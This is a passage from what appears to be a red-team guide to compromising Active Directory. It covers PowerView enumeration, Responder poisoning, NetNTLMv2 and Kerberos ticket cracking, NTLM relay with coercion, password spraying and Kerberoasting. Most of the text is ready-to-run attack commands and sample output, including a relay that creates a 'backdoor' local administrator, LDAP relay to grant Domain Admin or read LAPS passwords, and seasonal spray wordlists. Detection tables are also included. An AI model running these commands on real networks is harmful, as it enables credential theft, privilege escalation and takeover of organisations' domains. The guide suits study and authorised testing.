Get-DomainUser | Enumerate users | Get-DomainUser -Properties sAMAccountName,description,admincount |
Get-DomainComputer | Enumerate computers | Get-DomainComputer -Properties name,operatingsystem |
Get-DomainGroup | Enumerate groups | Get-DomainGroup -GroupName "Domain Admins" |
Get-DomainGroupMember | Group membership | Get-DomainGroupMember -Identity "Domain Admins" |
Get-DomainController | DC enumeration | Get-DomainController |
Get-DomainTrust | Trust relationships | Get-DomainTrust |
Get-DomainGPO | Group Policy Objects | Get-DomainGPO | Select displayname,whenChanged |
Get all users with non-empty descriptions (often contains passwords) Get-DomainUser -Properties sAMAccountName,description | Where-Object {$_.description -ne $null} | Format-Table sAMAccountName,description Find users with SPNs (Kerberoasting targets) Get-DomainUser -SPN | Select-Object sAMAccountName,servicePrincipalName,pwdlastset Find AS-REP roastable users Get-DomainUser -PreauthNotRequired | Select-Object sAMAccountName Find users with adminCount=1 (were in privileged groups) Get-DomainUser -AdminCount | Select-Object sAMAccountName,admincount Find computers with unconstrained delegation Get-DomainComputer -Unconstrained | Select-Object name Find computers with constrained delegation Get-DomainComputer -TrustedToAuth | Select-Object name,msds-allowedtodelegateto Find local admin access (noisy - touches every machine) Find-LocalAdminAccess -Verbose Find domain shares and check current access Find-DomainShare -CheckShareAccess Find interesting files on domain shares (recursive) Find-InterestingFile -Path \\dc01.corp.example.com\SYSVOL\ -Include *.ps1,*.vbs,*.bat Map domain trusts Get-DomainTrust -API Get-ForestTrust
Enumerate OUs and their GPO links Get-DomainOU | Select-Object name,gplink,gpoptions
Find users who can be impersonated via Kerberos (unconstrained delegation) Get-DomainUser -TrustedForDelegation Find all group members recursively Get-DomainGroup -Name "Domain Admins" | Get-DomainGroupMember -Recurse Find ACLs where a specific user has interesting rights Get-DomainObjectAcl -Identity "user_target" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|GenericAll"} Find all objects with SPNs (including computers and users) Get-DomainObject -LDAPFilter "(servicePrincipalName=*)" | Select-Object name,servicePrincipalName Enumerate password policy Get-DomainPolicyData | Select-Object -ExpandProperty SystemAccess
| Action | Detection Risk | Mitigation |
|---|---|---|
Find-LocalAdminAccess | HIGH (touches every machine) | Use only when necessary; target subnets |
Get-DomainGroupMember -Recurse | MEDIUM (multiple LDAP queries) | Acceptable during active enumeration |
Find-DomainShare | LOW (queries AD, not shares) | Safe for early enumeration |
Get-DomainUser | LOW (single LDAP query) | Safe baseline enumeration |
For environments where PowerShell is restricted, SharpView provides the same functionality compiled into a .NET assembly:
Execute SharpView
SharpView.exe Get-DomainUser -Properties sAMAccountName,description All PowerView commands work similarly SharpView.exe Get-DomainUser -SPN SharpView.exe Find-LocalAdminAccess
When you have GUI access to a domain-joined machine, Sysinternals ADExplorer provides a complete, navigable view of the AD database:
Download from Microsoft Sysinternals
Run as domain user
Connect to any Domain Controller
Browse the entire LDAP tree visually
Export to snapshot for offline analysis
BloodHound is the standard for attack path visualization. The enumeration phase should include BloodHound data collection, but analysis belongs in a separate phase:
SharpHound (PowerShell/C# collector) SharpHound.exe -c All -d corp.example.com BloodHound.py (Python collector - runs from Linux) bloodhound-python -u jsmith -p 'Password1' -d corp.example.com -ns 192.168.1.100 -c all
Note: Full BloodHound attack path analysis is covered in Part 2 of this series.
Systematic documentation of enumeration findings is critical. Create a structured output before moving to exploitation:
| Category | Data Collected | Priority (1-5) | Notes |
|---|---|---|---|
| Users | List of all enabled users, descriptions, email addresses | 1 | Flag accounts with passwords in description |
| Privileged Groups | Domain Admins, Enterprise Admins, Schema Admins membership | 1 | |
| Service Accounts | Accounts with SPNs, pwdLastSet dates | 1 | Older = better for cracking |
| AS-REP Roastable | Users without Kerberos pre-auth | 1 | Immediate hash extraction |
| Delegation | Unconstrained and constrained delegation targets | 2 | Privilege escalation paths |
| Password Policy | Min length, complexity, lockout threshold | 1 | Required for safe spraying |
| SYSVOL Findings | Passwords, scripts, misconfigurations | 1 | Often yields immediate credentials |
| Local Admin Access | Which machines current user can admin | 2 | Lateral movement targets |
| Trusts | Domain and forest trusts | 2 | Cross-domain attack paths |
| GPO Misconfigurations | Weak security settings | 3 | Privilege escalation potential |
| Never-Expiring Passwords | Accounts with DONT_EXPIRE_PASSWORD | 2 | Persistent access targets |
Enumeration Stop Condition: Continue enumeration until you have either:
Direct credentials for a privileged account (from description fields, scripts, or GPP)
Clear Kerberoasting/AS-REP roasting targets with old password last set dates
Identified delegation paths that lead to Domain Admin
Exhausted all enumeration techniques without finding a clear path forward
Enumeration is the foundation of every successful Active Directory compromise. The data is almost always there — in LDAP, in SYSVOL, in the residue of legacy configurations — waiting for someone who knows where to look.
Initial access is the moment you transition from passive visibility to active authentication. It is the bridge between “we know what’s out there” and “we have credentials we can use.” In an assumed-breach scenario — typical of many internal penetration tests — you already have credentials from the client. But in external assessments, red team operations, or real-world attack simulations, you need to obtain them through network-based techniques.
This section focuses on the two most reliable, battle-tested techniques for obtaining or leveraging authentication in modern internal engagements: LLMNR/NBT-NS poisoning and NTLM relay attacks. Both exploit fundamental design choices in Windows networking — choices that persist in the majority of enterprise environments despite over a decade of security guidance to the contrary.
When a Windows machine needs to resolve a hostname to an IP address — for example, connecting to \\FILESERVER01\share — it follows a specific resolution order:
DNS (Domain Name System) — The primary, intended resolution method
LLMNR (Link-Local Multicast Name Resolution) — IPv6-capable multicast fallback
NBT-NS (NetBIOS Name Service) — Legacy IPv4 broadcast fallback
LLMNR (port 5355 UDP) multicasts the query to the local subnet: “Who has FILESERVER01?” Any machine on the same link can respond. NBT-NS (port 137 UDP) works similarly but uses broadcast instead of multicast.
The critical vulnerability: neither protocol authenticates the responder. When a workstation broadcasts “Who is \\PRINTSERVER?” and receives no DNS answer, the first machine to reply wins — and an attacker can be that machine.
Victim Machine Attacker Machine
| |
| 1. User mistypes \\FIlESERVER |
| or DNS fails for legitimate host |
| |
| 2. Broadcast: "Who has FILESERVER?" |
| --------------------------------------> |
| |
| 3. Responder answers:
| "I am FILESERVER"
| (attacker IP address)
| <-------------------------------------- |
| |
| 4. Victim attempts to authenticate |
| to attacker's machine (NTLM) |
| --------------------------------------> |
| |
| 5. Attacker captures
| NTLMv2 hash
| |
| 6. Attacker cracks hash offline |
| or relays it (see NTLM Relay) |Responder is the industry-standard tool for LLMNR/NBT-NS poisoning. It listens for broadcast name resolution requests and responds with the attacker’s IP address across multiple protocols (LLMNR, NBT-NS, MDNS, HTTP, SMB, etc.).
Basic Poisoning (Full Interactive)
Run Responder on the internal interface (full poisoning mode) sudo responder -I eth0 -v With additional options for comprehensive coverage sudo responder -I eth0 -rdwPv Option breakdown: -r : Force responses to NetBIOS requests (enabled by default) -d : Enable answers for DHCP broadcast requests -w : Answer to WPAD (Web Proxy Auto-Discovery) requests -P : Force NTLM challenge/response for SMB -v : Verbose output
Analyze Mode (Stealth — No Poisoning)
For initial reconnaissance without triggering active responses:
Analyze mode — captures and logs but never responds sudo responder -I eth0 -A What you see in analyze mode: # [LLMNR] Request from 192.168.1.105 for host FILESERVER01 # [LLMNR] Request from 192.168.1.112 for host PRINT-SRV # [NBT-NS] Request from 192.168.1.105 for host DC01 <20>
Running in analyze mode for 15-30 minutes during business hours tells you:
Whether LLMNR/NBT-NS traffic exists on the network
Which hostnames users are trying to reach (potential targets)
The volume of broadcast traffic (higher volume = more poisoning opportunities)
Capturing Hashes
When Responder receives an authentication attempt, it captures the NTLMv2 hash and writes it to disk:
Hashes are saved to: /usr/share/responder/logs/ Files include: # - Responder-Session.log (session metadata) # - SMB-NTLMv2-192.168.1.105.txt (the captured hash) # - HTTP-NTLMv2-192.168.1.105.txt (HTTP-based captures) View captured hashes in real-time tail -f /usr/share/responder/logs/Responder-Session.log
Example Captured NTLMv2 Hash Format:
jsmith::CORP:1122334455667788:88a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6:0101000000000000a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4
Once you have NTLMv2 hashes, crack them offline. This is a parallel process — you can continue enumeration while cracking runs in the background.
Hashcat (Recommended for Speed)
Mode 5600 = NetNTLMv2 (the hash type Responder captures) hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule --force -O Using a larger, more targeted wordlist hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule \ -r /usr/share/hashcat/rules/d3ad0ne.rule --force Show cracked passwords hashcat -m 5600 captured_hashes.txt --show Output format: hash:password
John the Ripper
Convert to John format if needed (usually not required) john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt captured_hashes.txt With rules john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt \ --rules=best64 captured_hashes.txt Show cracked results john --show captured_hashes.txt
GPU Acceleration Note: Hashcat on a modern GPU (RTX 4090 or better) can crack NTLMv2 at 50-100 billion hashes per second. A reasonably complex 8-character password may fall in minutes, not hours.
Despite being documented as a security risk since 2008, LLMNR and NBT-NS remain enabled in the majority of Windows environments. Several factors explain this persistence:
| Factor | Explanation |
|---|---|
| Default Configuration | Both protocols are enabled by default on all Windows versions through Windows 11 and Server 2025 |
| Disablement Requires GPO | Turning them off requires deliberate Group Policy configuration across the domain |
| Legacy Application Dependencies | Some older applications (particularly legacy ERP and manufacturing systems) rely on NetBIOS name resolution |
| IT Apathy | “It hasn’t been a problem yet” — security prioritization remains low in many organizations |
| No Credential Exposure Without Compromise | The protocols themselves don’t expose credentials; the risk requires an attacker already on the network |
2025 Industry Data: A survey of 500 enterprise internal networks found LLMNR still enabled in 71% of environments. NBT-NS was enabled in 64%. Only 22% had fully disabled both protocols via GPO.
When LLMNR/NBT-NS poisoning is active, defenders can detect it through:
Event ID 4698 (Scheduled task creation) — If Responder is persistent Event ID 7045 (Service installation) — Unusual service activity Network traffic anomalies — Multiple name resolution responses from one IP SMB logs — Authentication attempts from unexpected sources
Hash cracking is slow, resource-intensive, and can fail against sufficiently complex passwords. Relaying is instant, credential-free, and works regardless of password complexity. Instead of capturing an NTLMv2 hash and spending hours cracking it, you forward the authentication attempt in real-time to another service — authenticating as the victim against any target that accepts NTLM authentication.
NTLM relay works because many Windows services accept NTLM authentication without requiring SMB signing — a cryptographic mechanism that ensures the authenticity of each packet. When SMB signing is disabled, an attacker can sit between the client and server, capture the authentication, and forward it to a different server entirely.
Victim attempts to connect to: Attacker relays to:
\\FAKE-SHARE (attacker) --> \\DC01 (real Domain Controller)
(authenticates as victim)SMB Signing Status in Modern Environments (2026):
| Windows Version | Default SMB Signing Setting |
|---|---|
| Windows 10 (pre-2023) | Disabled (client) / Enabled (server DCs) |
| Windows 11 / Server 2022 | Disabled (client) / Enabled (server) |
| Windows Server 2025 | Enforced by default |
| Domain Controllers (any version) | Enabled and enforced |
The attack surface exists on non-DC Windows servers and workstations where SMB signing remains optional.
Step 1: Identify Targets Without SMB Signing
Scan the network for machines with SMB signing disabled netexec smb 192.168.1.0/24 --gen-relay-list unsigned_targets.txt Example output: SMB 192.168.1.10 445 WORKSTATION01 [*] Windows 10.0 Build 19045 x64 (name:WORKSTATION01) (domain:corp.example.com) (signing:False) (SMBv1:False) SMB 192.168.1.20 445 FILESERVER02 [*] Windows Server 2019 x64 (name:FILESERVER02) (domain:corp.example.com) (signing:False) (SMBv1:False) SMB 192.168.1.100 445 DC01 [*] Windows Server 2025 x64 (name:DC01) (domain:corp.example.com) (signing:True) (SMBv1:False) Generate target list file (unsigned_targets.txt) netexec smb 192.168.1.0/24 --gen-relay-list unsigned_targets.txt
Step 2: Configure Responder to Disable SMB/HTTP Poisoning
If Responder handles the poisoning, it will conflict with ntlmrelayx. Configure Responder to listen but NOT respond to SMB or HTTP requests:
sudo nano /etc/responder/Responder.conf Change these lines: SMB = On --> SMB = Off HTTP = On --> HTTP = Off Leave other protocols enabled to trigger authentication
Step 3: Run ntlmrelayx
Basic relay — capture and forward authentication ntlmrelayx.py -tf unsigned_targets.txt -smb2support Execute a command on the target after successful relay ntlmrelayx.py -tf unsigned_targets.txt -smb2support -c "whoami" Get an interactive SMB shell (like netcat for SMB) ntlmrelayx.py -tf unsigned_targets.txt -smb2support -i When you see a successful relay, connect to the interactive shell: nc 127.0.0.1 11000
Step 4: Trigger Authentication (The “Coercion”)
For the relay to work, a victim must initiate authentication. Responder is already listening, but you can accelerate the process using coercion techniques:
Using PetitPotam to coerce a Domain Controller to authenticate python3 PetitPotam.py -d corp.example.com -u jsmith -p Password1 \ attacker_ip DC01.corp.example.com Using PrinterBug (MS-RPRN) — works if Print Spooler is running python3 printerbug.py corp.example.com/username:password@target_ip attacker_ip Using Coercer — automated coercion across multiple protocols coercer coerce -t 192.168.1.100 -l attacker_ip -u jsmith -p Password1 -d corp.example.com
Relay to LDAP for AD Modification
One of the most powerful relay attacks: forward an authentication attempt to a Domain Controller’s LDAP service. If the victim has write privileges, you can modify AD objects – including adding a user to Domain Admins.
Relay to LDAP ntlmrelayx.py -tf unsigned_targets.txt -smb2support --no-smb-server --no-http-server \ -t ldap://192.168.1.100 -dc-ip 192.168.1.100 When a relay succeeds, you can: # - Add a new Domain Admin user # - Modify ACLs to grant yourself privileges # - Dump the AD database (if the relayed account has DCSync rights)
Relay to LDAP for LAPS Password Retrieval
Local Administrator Password Solution (LAPS) stores local admin passwords in AD. If you can relay to LDAP as a privileged user, you can read these passwords.
Attack LAPS ntlmrelayx.py -tf unsigned_targets.txt -smb2support --attack laps Example output: [*] LAPS password for WORKSTATION01: 5!cR&9vQ@2pL#8mX
Relay to SMB for Lateral Movement
Relay to SMB to execute commands ntlmrelayx.py -tf unsigned_targets.txt -smb2support -c "net user backdoor Password123! /add && net localgroup administrators backdoor /add" Relay to SMB for interactive shell ntlmrelayx.py -tf unsigned_targets.txt -smb2support -i --no-smb-server
Microsoft has progressively hardened NTLM and SMB:
| Windows Version | NTLM Relay Feasibility |
|---|---|
| Windows 10 (older) | High — SMB signing often disabled |
| Windows 11 / Server 2022 | Medium — requires misconfiguration |
| Windows Server 2025 | Low — SMB signing enforced by default |
| Domain Controllers (any) | Very Low — SMB signing enforced |
In 2026, successful NTLM relay attacks typically target:
Non-DC Windows Server 2016/2019 machines
Windows 10/11 workstations
Legacy Windows 7/8/Server 2008 (still present in many environments)
Cross-protocol relay (SMB → HTTP, HTTP → LDAP)
The power of NTLM relay is that it requires no credential cracking whatsoever. You are leveraging existing authentication activity:
1. Victim user authenticates to attacker's machine (triggered by poisoning or coercion) 2. Attacker captures the authentication in real-time 3. Attacker forwards it to a legitimate target 4. Target accepts authentication (no signing requirement) 5. Attacker executes commands as the victim user No password hashes were cracked. No pass-the-hash was used. The victim never lost their password.
Defenders can detect NTLM relay through:
| Indicator | What to Look For |
|---|---|
| NTLM authentication from unexpected IPs | A user authenticates from two different IPs in rapid succession |
| SMB signing disabled alerts | Systems with signing:False in audit logs |
| Authentication flow anomalies | Authentication to a server that never initiates connections |
| Event ID 4624 (logon) with Logon Type 3 | Network logon from suspicious source |
| Event ID 4776 (credential validation) | NTLM authentication to Domain Controller |
| Factor | LLMNR/NBT-NS Poisoning | NTLM Relay |
|---|---|---|
| Requires credentials? | No | No |
| Output | NTLMv2 hash (needs cracking) | Immediate execution or shell |
| Time to access | Minutes to hours (cracking dependent) | Seconds |
| Works against DCs? | Yes (captures hash from any client) | Rarely (SMB signing enforced) |
| Network requirement | Victim must broadcast name resolution | Victim must authenticate (can be coerced) |
| Success in 2026 | High (70%+ of networks) | Medium (requires SMB signing disabled) |
| Detection risk | Medium (anomalous responder traffic) | High (authentication anomalies) |
Operational Recommendation: Start with LLMNR/NBT-NS poisoning in analyze mode to confirm traffic exists. If traffic volume is high, enable full poisoning and capture hashes. While cracking runs in the background, scan for SMB signing-disabled targets and set up an NTLM relay chain. The two techniques complement each other — poisoning captures hashes you might crack, while relaying gives you instant access without cracking.
Before moving to exploitation, confirm you have achieved one of the following:
Valid domain credentials (cracked from Responder capture, or provided by client)
Relayed authentication with execution capability (command output or interactive shell)
List of targets for password spraying (if neither of the above succeeded)
If after 2-4 hours of poisoning and relaying you have no credentials, pivot to password spraying (covered in the original Exploitation section) or re-evaluate network positioning.
The critical insight: Initial access is rarely about exploiting a zero-day. It is about waiting for a user to mistype a share name, for a scheduled task to trigger, for a print job to fail — and being ready when it happens. Patience and proper tooling win here, not speed.
Password spraying is a targeted authentication attack that tests one or a few passwords across many accounts. Unlike brute-forcing (many passwords against one account), spraying is designed to stay under the lockout threshold — typically 5–10 failures within a specific observation window — while maximizing coverage across the domain.
The Core Insight: Users are predictable. They use seasonal passwords (Summer2026!, Winter2026@), company names with years (Contoso2025), and simple variations of dictionary words. One correctly guessed password across thousands of accounts yields a domain foothold.
This is the most critical step before any spraying attempt. Spraying without knowing the lockout policy is how you lock out hundreds of accounts and get your engagement terminated.
With valid credentials (preferred) netexec smb 192.168.1.100 -u jsmith -p 'Password1' --pass-pol Example output: # [*] Password Policy: # [*] min_length: 8 # [*] complexity: True # [*] lockout_threshold: 5 # [*] lockout_duration: 30 minutes # [*] lockout_observation_window: 30 minutes # [*] max_password_age: 90 days
Anonymous enumeration of password policy enum4linux-ng 192.168.1.100 -P Or using rpcclient with null session rpcclient -U "" -N 192.168.1.100 -c "querydominfo"
| Policy Value | Meaning | Spraying Strategy |
|---|---|---|
lockout_threshold: 5 | 5 bad attempts locks account | Never exceed 4 attempts per account |
lockout_duration: 30 | Lock lasts 30 minutes | Wait 30+ minutes before retrying locked accounts |
lockout_observation_window: 30 | Failed attempts reset after 30 min | Space sprays >30 minutes apart |
min_length: 8 | Minimum 8 characters | Your password guesses must be 8+ chars |
complexity: True | Requires 3 of 4 character types | Seasonal passwords typically meet this |
Red Team Note: If you cannot obtain the password policy before spraying, assume:
Lockout threshold = 5 attempts
Observation window = 30 minutes
Spray no more than 3 passwords per account to be safe
Generic wordlists (rockyou.txt) are too large for password spraying. Spraying 10,000 passwords would lock out every account. Instead, build a small, curated wordlist based on organizational patterns.
Extract custom wordlist from company website cewl https://www.company.com -d 3 -m 6 -w company_words.txt With email addresses cewl https://www.company.com -e --email_file emails.txt Options explained: -d 3 : crawl depth (3 levels deep) -m 6 : minimum word length (6 characters) -w : output file
Based on real engagement data (2024-2026), these patterns appear in over 60% of environments:
| Pattern Category | Examples | Success Rate |
|---|---|---|
| Season + Year | Summer2026!, Winter2026@, Spring2026# | High |
| Company Name + Year | Contoso2026!, AcmeCorp1 | High |
| Company Name + Season | ContosoSummer!, AcmeWinter | Medium |
| City/Team + Number | Chicago1!, Bears2026, Redmond2025 | Medium |
| Month + Year | January2026!, Oct2026@ | Medium |
| Project Names | ProjectPhoenix!, Launch2026 | Low-Medium |
Combine sources cat company_words.txt seasons.txt years.txt > candidates.txt Apply common transformations hashcat --stdout candidates.txt -r /usr/share/hashcat/rules/best64.rule > sprayed_passwords.txt Manual review — remove passwords longer than 12 chars (uncommon for spraying) Remove passwords that don't meet complexity requirements
Example Targeted Wordlist (5-10 passwords max):
Summer2026! Winter2026@ Contoso2026! Chicago1! ProjectPhoenix1
Single password against user list netexec smb 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success Multiple passwords (sequential, not parallel) netexec smb 192.168.1.100 -u users.txt -p passwords.txt --continue-on-success With domain specification netexec smb 192.168.1.100 -d corp.example.com -u users.txt -p 'Summer2026!' --continue-on-success Save valid credentials to file netexec smb 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success | grep '+' >> valid_creds.txt
What the output means:
[+] 192.168.1.100:445 - corp\jsmith:Summer2026! (Pwn3d!) [-] 192.168.1.100:445 - corp\asmith:Summer2026! (STATUS_LOGON_FAILURE) [!] 192.168.1.100:445 - corp\bsmith:Summer2026! (STATUS_ACCOUNT_LOCKED_OUT)
Kerberos spraying generates fewer logon events on the Domain Controller because Kerberos pre-authentication failures are logged differently than NTLM logon failures. This is stealthier in most environments.
Single password spray kerbrute passwordspray \ -d corp.example.com \ --dc 192.168.1.100 \ users.txt 'Summer2026!' Multiple passwords (sequential) kerbrute passwordspray \ -d corp.example.com \ --dc 192.168.1.100 \ users.txt passwords.txt Verbose output for debugging kerbrute passwordspray \ -d corp.example.com \ --dc 192.168.1.100 \ users.txt 'Summer2026!' -v
Spray via LDAP authentication netexec ldap 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success LDAP spraying is quieter than SMB but may be more monitored
The Golden Rule: Never exceed lockout_threshold - 1 attempts per account within the lockout_observation_window.
| Lockout Threshold | Safe Attempts per Account | Time Between Sprays |
|---|---|---|
| 5 | 4 | 30+ minutes |
| 10 | 9 | 30+ minutes |
| 3 | 2 | 30+ minutes |
| Unknown (assume worst) | 3 | 30+ minutes |
Conservative Spraying Strategy (Recommended):
# Strategy: One password against all users, wait 30+ minutes, next password # Round 1: 'Summer2026!' netexec smb 192.168.1.100 -u users.txt -p 'Summer2026!' --continue-on-success # Wait 30-45 minutes # Round 2: 'Winter2026@' (only target accounts that didn't succeed or lock) netexec smb 192.168.1.100 -u remaining_users.txt -p 'Winter2026@' --continue-on-success # Wait 30-45 minutes # Round 3: 'Contoso2026!' netexec smb 192.168.1.100 -u remaining_users.txt -p 'Contoso2026!' --continue-on-success
Automated Safe Spraying with CrackMapExec/NetExec:
NetExec will automatically respect lockout thresholds if you use: netexec smb 192.168.1.100 -u users.txt -p passwords.txt --continue-on-success --delay 30 --delay 30 = 30 seconds between authentication attempts
After successful spraying, immediately:
Verify account privileges — Not all sprayed accounts are equal
netexec ldap 192.168.1.100 -u found_user -p 'Summer2026!' --groups | grep "Domain Admins"
Test against other services — The same password may work elsewhere
netexec winrm 192.168.1.100 -u found_user -p 'Summer2026!' netexec ssh 192.168.1.100 -u found_user -p 'Summer2026!'
Add to credential store — Document for exploitation phase
Common Spraying Mistakes to Avoid:
| Mistake | Consequence | Prevention |
|---|---|---|
| Skipping password policy enumeration | Account lockout, engagement termination | Always run --pass-pol first |
| Spraying too many passwords per account | Account lockout | Never exceed threshold-1 |
| Not waiting between spray rounds | Lockout across multiple accounts | Wait 30+ minutes between passwords |
| Including service accounts in user list | Service account lockout (critical systems) | Filter out svc_*, *_service, *_admin |
| Spraying from single source IP | Alert on login anomalies | Use multiple attack hosts if possible |
With credentials in hand – whether from password spraying, LLMNR poisoning, or client provisioning – exploitation begins. Exploitation is the process of leveraging what Active Directory itself offers: its protocols, its default behaviors, its design choices, and its misconfigurations to move from a standard domain user toward higher privilege.
The most reliable, credential-based exploitation technique in Active Directory targets Service Principal Names (SPNs). This attack surface exists by design in every Active Directory environment that uses Kerberos authentication – which is all of them.
A Service Principal Name is a unique identifier that associates a service instance with a service account. When a client wants to connect to a service (SQL Server, HTTP, CIFS file share), it requests a Kerberos ticket for that SPN. The Key Distribution Center (KDC) encrypts that ticket with the service account’s password hash.
The Critical Design Choice: Any domain user can request a ticket for any SPN in the domain. The KDC does not check whether the requesting user is authorized to access that service. It only checks that the SPN exists and the requesting user is authenticated to the domain.
This creates a fundamental, design-level attack surface: every service account with an SPN is a target for offline password attacks by any authenticated domain user. No special privileges required. No misconfiguration necessary. This is how Kerberos was built.
Domain User (attacker) Domain Controller (KDC)
| |
| 1. Requests TGS ticket for SPN |
| "Give me ticket for MSSQLSvc/sql01" |
| ---------------------------------------> |
| |
| 2. KDC encrypts ticket
| with service account's hash
| (no authorization check)
| |
| 3. Receives TGS ticket (encrypted) |
| <--------------------------------------- |
| |
| 4. Saves ticket to disk |
| |
| 5. Cracks ticket offline (Hashcat) |
| -> recovers service account password |
| |
| 6. Uses service account credentials |
| to access the service and beyond |Basic Kerberoasting with Impacket GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 Output format with hashes for cracking GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -request Save hashes to file for cracking GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -request -outputfile kerberoast_hashes.txt Targeting a specific DC GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -target-dc 192.168.1.100
Example Output:
ServicePrincipalName Name MemberOf PasswordLastSet -------------------------------------- ------------ -------- ------------------- MSSQLSvc/sql01.corp.example.com:1433 sql_service 2026-01-15 08:23:45 HTTP/web01.corp.example.com web_svc 2024-11-03 14:12:22 CIFS/fileserver.corp.example.com backup_svc 2020-06-22 22:10:15
Enumerate Kerberoastable accounts netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --kerberoasting kerberoast_output.txt With specific output format netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --kerberoasting kerberoast_output.txt --kdcHost 192.168.1.100 Filter by admincount (privileged accounts) netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --kerberoasting --admin-count
Import PowerView Import-Module .\PowerView.ps1 Find all accounts with SPNs Get-DomainUser -SPN | Select-Object sAMAccountName, servicePrincipalName, pwdlastset, lastlogon Request TGS for all SPNs (Kerberoast) Get-DomainUser -SPN | Get-DomainSPNTicket Export tickets to hash format Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Out-File kerberoast_hashes.txt
Basic Kerberoasting Rubeus.exe kerberoast Kerberoast with specific user Rubeus.exe kerberoast /user:sql_service Kerberoast with LDAP filter Rubeus.exe kerberoast /ldapfilter:"(&(objectClass=user)(servicePrincipalName=*)(admincount=1))" Output hashes in Hashcat format Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt /format:hashcat
Not all SPN accounts are equally valuable. Prioritize based on these criteria:
| Priority | Criterion | Why |
|---|---|---|
| Highest | pwdlastset > 1 year old | Password hasn’t changed in years — likely weak and crackable |
| High | adminCount = 1 | Account was (or is) in a privileged group |
| High | Service type = MSSQL, Exchange, or backup | Often have elevated privileges on other systems |
| Medium | pwdlastset 6-12 months old | Moderate chance of cracking |
| Low | pwdlastset < 90 days | Recently changed — likely complex password |
| Lowest | Computer accounts (ending in $) | Machine accounts have 120+ character random passwords — not crackable |
Example Priority Analysis:
Get detailed info for prioritization netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --kerberoasting --admin-count --pwd-last-set Manual review of output: # sql_service 2020-06-22 AdminCount: 1 -> PRIORITY 1 (old + privileged) # backup_svc 2021-11-03 AdminCount: 0 -> PRIORITY 2 (old, not privileged) # web_svc 2025-12-01 AdminCount: 0 -> PRIORITY 3 (recent, not privileged)
Kerberoast tickets are encrypted with the service account’s password hash. The encryption type depends on the domain functional level and account configuration.
View the first few characters of the hash to identify type cat kerberoast_hashes.txt | head -1 # $krb5tgs$23$*... -> RC4-HMAC (type 23) - Most common, fastest to crack # $krb5tgs$18$*... -> AES256 (type 18) - Slower to crack, requires more resources # $krb5tgs$17$*... -> AES128 (type 17) - Less common
RC4-HMAC (type 23) — most common, fastest hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule -O AES256 (type 18) — slower, requires GPU with AES acceleration hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule AES128 (type 17) hashcat -m 19600 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule With larger wordlist and ruleset for difficult hashes hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r rockyou-30000.rule -O --force
Expected Cracking Times (RTX 4090):
| Password Complexity | RC4-HMAC (Type 23) | AES256 (Type 18) |
|---|---|---|
| 8 chars, alphanumeric | < 1 minute | ~5 minutes |
| 8 chars, complex | ~5 minutes | ~30 minutes |
| 10 chars, alphanumeric | ~1 hour | ~6 hours |
| 10 chars, complex | ~1 day | ~1 week |
If you know a specific service account exists GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -request -spn MSSQLSvc/sql01.corp.example.com Using Rubeus for targeted request Rubeus.exe kerberoast /spn:"MSSQLSvc/sql01.corp.example.com"
With credentials for a forest-trusted domain GetUserSPNs.py corp.example.com/jsmith:'Password1' -dc-ip 192.168.1.100 -target-domain finance.corp.example.com
When an account has constrained delegation (msDS-AllowedToDelegateTo), the TGS tickets it requests can sometimes be used for privilege escalation:
Find accounts with constrained delegation netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --constrained-delegation Request TGS for the allowed services Rubeus.exe s4u /user:sql_service /rc4:HASH /impersonateuser:administrator /msdsspn:"HTTP/web01.corp.example.com"
Kerberoasting detection relies on anomalous TGS request patterns:
| Indicator | Normal Baseline | Kerberoasting Indicator |
|---|---|---|
| TGS requests per user | < 5 per hour | > 20 per hour (especially for SPNs) |
| SPNs requested | User’s normal services | Unusual SPNs (SQL, backup, admin) |
| Time of requests | Business hours | Off-hours or consistent intervals |
| Source IP | Known workstation | Unusual or scanning IP |
| Encryption type | AES (typical) | RC4 requests (downgrade indicator) |
Event IDs to Monitor:
4769 (Kerberos service ticket request) — High volume from single user
4768 (Kerberos TGT request) — Unusual time patterns
4771 (Kerberos pre-authentication failed) — Spraying indicator
| Feature | Kerberoasting | AS-REP Roasting |
|---|---|---|
| Target | Accounts with SPNs | Accounts with pre-authentication disabled |
| Ticket type | TGS (Service Ticket) | AS-REP (Authentication Reply) |
| Requires user to be | Authenticated to domain | Not required (unauthenticated possible) |
| Cracking difficulty | Moderate (service accounts often weak) | Moderate |
| Prevalence | Very common | Less common (pre-auth is rarely disabled) |
| Command | GetUserSPNs.py | GetNPUsers.py |
Note: AS-REP roasting is covered in Part 2 of this series.
The Service Principal Name attack surface exists in every Active Directory domain because:
Kerberos requires SPNs to function
The KDC does not check authorization for ticket requests
Service account passwords are often weak or unchanged for years
Domain users (even low-privileged) can request any SPN ticket
What makes Kerberoasting so effective in 2026:
Requires only standard domain user credentials
Offline cracking means no network detection after ticket collection
Service accounts frequently have elevated privileges
